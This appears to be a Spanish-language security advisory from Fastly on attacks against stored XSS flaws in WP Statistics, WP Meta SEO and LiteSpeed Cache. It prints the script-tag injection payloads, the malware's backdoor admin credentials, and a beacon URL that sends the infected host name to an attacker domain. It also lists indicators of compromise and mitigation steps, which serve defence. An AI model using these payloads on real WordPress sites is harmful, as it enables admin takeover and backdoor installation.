Aprovechamiento de vulnerabilidades de scripting entre sitios almacenado sin autenticación en complementos de WordPress
Hemos observado intentos de aprovechamiento de tres vulnerabilidades y exposiciones comunes (CVE) de alta gravedad: CVE-2024-2194, CVE-2023-6961 y CVE-2023-40000. Estas vulnerabilidades están presentes en varios complementos de WordPress y son susceptibles a ataques de scripting entre sitios almacenado sin autenticación debido a deficiencias en el saneamiento de las entradas y el escape de las salidas, que permiten inyectar scripts maliciosos.
Las cargas útiles de los ataques dirigidos a estas vulnerabilidades inyectan una etiqueta de script que señala a un archivo ofuscado de JavaScript alojado en un dominio externo. El script utilizado para aprovechar estas vulnerabilidades es siempre el mismo. Estas son sus principales acciones con fines maliciosos:
Creación de una nueva cuenta de administrador
Inyección de puertas traseras
Instalación de scripts de rastreo, posiblemente para supervisar los sitios infectados
Hemos observado una cantidad elevada de intentos de aprovechamiento que tienen su origen en direcciones IP asociadas al sistema autónomo de Volume Inc. y que se concentran en los Países Bajos. Además, hemos identificado cinco dominios a los que se hace referencia en las cargas útiles de los ataques. En la última fase de rastreo se emplean otros dos dominios que han estado vinculados a otros aprovechamientos de complementos de WordPress, como se puede ver aquí y aquí.
Detalles de las vulnerabilidades
CVE-2024-2194
El complemento WP Statistics (versiones 14.5 y anteriores) queda expuesto al scripting almacenado entre sitios mediante el parámetro de búsqueda de URL.
utm_id="><script src="https://{CALLBACK_DOMAIN}/"></script>
Esta vulnerabilidad permite que atacantes sin autenticar utilicen este parámetro para inyectar scripts web arbitrarios que se ejecutan cuando un usuario accede a la página inyectada. El atacante envía una y otra vez peticiones con esta carga útil para asegurarse de que aparezca en las páginas más visitadas, para lo cual añade el parámetro «utm_id» a dichas peticiones.
Tim Coen informó de esta vulnerabilidad el 11 de marzo de 2024. El complemento WP Statistics acumula más de 600 000 instalaciones en activo. Según las estadísticas, las versiones anteriores a la 14.5 siguen activas en aproximadamente el 48 % de los sitios web que utilizan el complemento.
CVE-2023-6961
El complemento WP Meta SEO (versiones 4.5.12 y anteriores) es susceptible a ataques de scripting almacenado entre sitios mediante el encabezado Referer HTTP.
Referer: <script src="https://{CALLBACK_DOMAIN}/"></script>
El atacante envía esta carga útil a la página objetivo, que suele generar una respuesta 404. Acto seguido, el complemento WP Meta SEO inserta este encabezado sin sanear en la base de datos para rastrear los redireccionamientos. Cuando un administrador carga la página 404 con redireccionamiento, el script obtiene un objeto ofuscado de JavaScript del dominio que efectúa devoluciones de llamada y lo ejecuta en el navegador de la víctima. Si esta persona está autenticada y, por ejemplo, se trata de un administrador de WP que ha iniciado sesión, sus credenciales quedan expuestas a acciones maliciosas.
Krzysztof Zając, investigador de CERT PL, informó de esta vulnerabilidad el 16 de abril de 2024. El complemento WP Meta SEO acumula más de 20 000 instalaciones en activo y, según las estadísticas, las versiones anteriores a la 4.5 siguen activas en aproximadamente el 27 % de los sitios web que lo utilizan.
CVE-2023-40000
El complemento LiteSpeed Cache (versiones 5.7.0.1 y anteriores) de WordPress es vulnerable al scripting almacenado entre sitios mediante los parámetros «nameservers» y «_msg».
result[_msg]=<script src="https://{CALLBACK_DOMAIN}/"></script>
La vulnerabilidad se activa cuando un administrador accede a cualquier página del backend, ya que la carga útil correspondiente se hace pasar por una notificación dirigida a esta persona. Esto provoca que el script malicioso se ejecute con sus credenciales y tenga vía libre para actuar.
Patchstack informó de esta vulnerabilidad en febrero de 2024. El complemento LiteSpeed Cache está muy extendido y acumula más de 5 millones de instalaciones en activo. Según las estadísticas, las versiones anteriores a la 5.7 siguen activas en el 15,7 % de los sitios web que utilizan el complemento, por lo que están en situación de riesgo una cantidad considerable de sitios.
Malware de JavaScript
Los contenidos del archivo de JavaScript malicioso llevan a cabo las siguientes acciones:
Inyección de puertas traseras de PHP maliciosas
En archivos de complementos
En archivos de temas
Creación de una nueva cuenta de administrador
Envío de una petición a la instalación de WordPress en el servidor para la creación de una nueva cuenta de administrador
Comienzo del rastreo
Puesta en marcha del rastreo mediante Yandex, ya sea a través de JavaScript o un píxel de rastreo
El script de PHP malicioso lleva a cabo las siguientes acciones:
Inyección de script de rastreo
Búsqueda recursiva de wp-loads.php e inyección en wp-config.php de:
<script src="https://{TRACKING_DOMAIN}/"></script>
Creación de un nuevo usuario con privilegios de administrador de WordPress
Nombre de usuario: admim
Contraseña**: 7F9SzCnS6g3AFLAO39Ro**
Correo electrónico**: admim@mystiqueapi[.]com**
Rastreo de hosts infectados
Envío de una petición GET a:
hxxp://ur.mystiqueapi[.]com/?ur=<$_SERVER['HTTP_HOST']>
Rastreo de hosts infectados mediante la obtención de la información de sus hosts HTTP
Actividad de los atacantes
CVE-2024-2194
El dominio media.cdnstaticjs[.]com está vinculado al aprovechamiento de CVE-2024-2194. Hemos observado ataques a esta vulnerabilidad de 17 direcciones IP diferentes que tienen su origen principalmente en AS202425 (IP Volume Inc.) y AS210848 (Telkom Internet LTD) y se concentran en los Países Bajos.
CVE-2023-6961
El dominio idc.cloudiync[.]com está vinculado al aprovechamiento de CVE-2023-6961. Hasta la fecha, más de 5000 millones de peticiones procedentes de una única dirección IP han intentado aprovecharse de esta vulnerabilidad, que tiene su origen en el sistema autónomo AS202425 (IP Volume Inc.). Además, hemos observado que media.cdnstaticjs[.]com se ha estado utilizando en cargas útiles maliciosas dirigidas a esta vulnerabilidad desde el 16 de mayo. Este dominio también se emplea en ataques dirigidos a CVE-2024-2194.
CVE-2023-40000
Los dominios cloud.cdndynamic[.]com, go.kcloudinc[.]com y cdn.mediajsdelivery[.]com están relacionados con el aprovechamiento de CVE-2023-40000. El último ataque vinculado al dominio cdn.mediajsdelivery[.]com se observó el 15 de abril. Desde entonces, los dominios cloud.cdndynamic[.]com y go.kcloudinc[.]com son los únicos que se han utilizado en ataques dirigidos a esta vulnerabilidad.
A diferencia de lo que ocurre con las dos vulnerabilidades anteriores, el aprovechamiento malicioso de CVE-2023-40000 está más repartido entre distintas direcciones IP y sistemas autónomos. Hemos observado ataques de 1664 direcciones IP diferentes que tienen su origen principalmente en AS210848 (Telkom Internet LTD) y AS202425 (IP Volume Inc.) y se concentran sobre todo en los Países Bajos.
Rastreo de dominios
El dominio assets.scontentflow[.]com, registrado poco después de que el listado de CVE-2023-6961 se hiciera público, es el que se escribe principalmente en sitios infectados mediante cargas útiles procedentes de idc.cloudiync[.]com. Nuestros estudios indican que apenas hay páginas web con esta carga útil, por lo que su nivel de infección ha sido muy limitado hasta la fecha.
El dominio cache.cloudswiftcdn[.]com se registró antes de que los tres conjuntos de CVE se hicieran públicos. Las cargas útiles que hacen referencia a este dominio tienen una estructura similar a otras observadas, con la diferencia de que incorporan 40 temas más con el objetivo de crear puestas traseras. Según los estudios de PublicWWW, más de 3000 páginas contienen este script. Si tenemos en cuenta que se registraron con bastante antelación, es posible que se lleven utilizando más tiempo o que el plazo de las infecciones sea más largo.
Indicadores de compromiso (IOC)
Dominios
Los siguientes dominios están relacionados con los intentos de aprovechamiento de estas vulnerabilidades:
media.cdnstaticjs[.]com
cloud.cdndynamic[.]com
idc.cloudiync[.]com
cdn.mediajsdelivery[.]com
go.kcloudinc[.]com
assets.scontentflow[.]com
cache.cloudswiftcdn[.]com
Direcciones IP
Las siguientes direcciones IP están relacionadas con los intentos de aprovechamiento de estas vulnerabilidades (la lista no es exhaustiva):
80.82.76[.]214
31.43.191[.]220
94.102.51[.]144
94.102.51[.]95
91.223.82[.]150
185.7.33[.]129
101.99.75[.]178
94.242.61[.]217
80.82.78[.]133
111.90.150[.]154
103.155.93[.]120
185.100.87[.]144
185.162.130[.]23
101.99.75[.]215
111.90.150[.]123
103.155.93[.]244
185.209.162[.]247
179.43.172[.]148
185.159.82[.]103
185.247.226[.]37
185.165.169[.]62
Pautas para la mitigación
Comprueba los complementos que tienes instalados, aplica todas las actualizaciones disponibles y elimina las carpetas asociadas a los complementos sospechosos.
Fíjate bien en los usuarios con privilegios de administrador y asegúrate de que ninguno tenga el nombre admim y el correo electrónico admim[@]mystiqueapi[.]com.
Inspecciona todos los archivos para ver si se han realizado modificaciones imprevistas, sobre todo si contienen scripts sospechosos. Busca el siguiente código inyectado:
<script src="hxxps://assets.scontentflow[.]com"</script>
<script src="hxxps://cache.cloudswiftcdn[.]com"</script>
Mira si hay alguna petición saliente que no cuadre, sobre todo si su destino es un enlace de rastreo de Yandex o http://ur.mystiqueapi\[.\]com/?ur.
Si detectas alguno de estos indicios, eso significa que tu sitio web ha estado expuesto al aprovechamiento de alguna de estas vulnerabilidades.
Clientes de Fastly
Los clientes que disponen del WAF de última generación de Fastly pueden buscar estos indicios en sus registros de ataque para saber si han estado expuestos. Los intentos de aprovechamiento de los tres conjuntos de CVE se detectan de forma predeterminada y se señalan como scripting entre sitios (XSS). Los siete dominios asociados a los intentos de aprovechamiento se identifican mediante la señal de dominio fuera de banda (OOB-DOMAIN).
Además, las direcciones IP desde las que se envían los ataques se comparten entre todas las redes de los clientes del WAF de última generación gracias al Network Learning Exchange (NLX) de Fastly. Si quieres tomar más medidas al respecto o aumentar el nivel de inteligencia ante estos ataques, puedes utilizar estos indicadores para crear reglas personalizadas.